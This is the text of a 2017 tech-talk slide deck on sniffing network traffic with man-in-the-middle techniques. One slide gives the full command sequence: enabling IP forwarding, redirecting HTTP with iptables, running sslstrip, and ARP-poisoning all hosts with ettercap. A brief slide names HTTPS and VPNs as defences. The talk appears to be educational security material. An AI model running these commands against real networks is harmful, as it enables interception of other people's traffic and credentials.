Sniff network using MITM Techniques ( @ DOT TECHTALK,10 November 2017 )

Transcript

1. Sniff network using MITMtechniques YUSUF SAIFUDIN At DOT TECHTALK – 10 NOVEMBER 2017
2. Overview
3. Tools • IP Tables • SSL Strip • Ettercap
4. Preparation • ifconfig is used for displaying current network configuration information, setting up an ip address, netmask or broadcast address to an network interface, creating an alias for network interface, setting up hardware address and enable or disable network interfaces.
5. How to Terminal 1 : • echo 1 >/proc/sys/net/ipv4/ip_forward • iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 54321 • sslstrip -p -l54321 Terminal 2 : • tail -f sslstrip.log Terminal 3 : • ettercap -T-M arp /// /// -i wlp2s0 -l dumpfile -q -P autoadd
6. Defense • Use https HTTPS provides authentication of the website and associated web server with which one is communicating, which protects against MITM (man-in-the- middle attacks). • Use VPN VPN is created by establishing a virtual point – to - point connection through the use of connections, protocols, or virtual traffic dedicated tunneling encryption.
7. Bibliography 1.https://en.wikipedia.org/wiki/Man-in-the-middle_attack 2.https://ettercap.github.io/ettercap/ 3.https://moxie.org/software/sslstrip/ 4.https://en.wikipedia.org/wiki/Iptables 5. https://en.wikipedia.org/wiki/HTTPS 6. https://en.wikipedia.org/wiki/Virtual_private_network